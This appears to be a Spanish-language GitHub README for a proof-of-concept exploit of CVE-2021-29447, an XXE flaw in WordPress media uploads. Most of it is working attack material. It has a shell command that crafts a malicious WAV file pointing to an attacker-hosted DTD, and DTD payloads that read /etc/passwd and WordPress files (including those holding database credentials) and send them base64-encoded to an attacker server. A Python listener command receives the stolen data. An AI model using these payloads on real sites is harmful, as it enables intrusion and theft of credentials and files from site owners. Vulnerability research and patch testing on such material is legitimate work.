assassinukg/cve-2021-29447Exploit de prueba de concepto para CVE-2021-29447, una vulnerabilidad XXE de WordPress que permite divulgación arbitraria de archivos y SSRF mediante archivos WAV manipulados.
Divulgación arbitraria de archivos: el contenido de cualquier archivo en el sistema de archivos del host podría recuperarse, por ejemplo, wp-config.php que contiene datos sensibles como credenciales de base de datos. Falsificación de solicitudes del lado del servidor (SSRF): se podrían realizar solicitudes HTTP en nombre de la instalación de WordPress. Dependiendo del entorno, esto puede tener un impacto grave. Explotando la vulnerabilidad
Un sitio de WordPress afectado por esta vulnerabilidad ha sido identificado en el proceso de enumeración con la ayuda de la herramienta wpscan.
Es muy fácil, en tu consola bash
nano poc.wav
echo -en 'RIFF\xb8\x00\x00\x00WAVEiXML\x7b\x00\x00\x00<?xml version="1.0"?><!DOCTYPE ANY[<!ENTITY % remote SYSTEM '"'"'http://YOURSEVERIP:PORT/NAMEEVIL.dtd'"'"'>%remote;%init;%trick;]>\x00' > payload.wav
En tu PC atacante crea un dtd con el código a ejecutar en el servidor web.
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=/etc/passwd">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Nota: para leer archivos de WordPress usa la sintaxis "../WP-FILE.php"
<!ENTITY % file SYSTEM "php://filter/zlib.deflate/read=convert.base64-encode/resource=../index.php">
<!ENTITY % init "<!ENTITY % trick SYSTEM 'http://YOURSERVERIP:PORT/?p=%file;'>" >
Aloja un servidor Python en el directorio de archivos (python3 -m http.server 8081)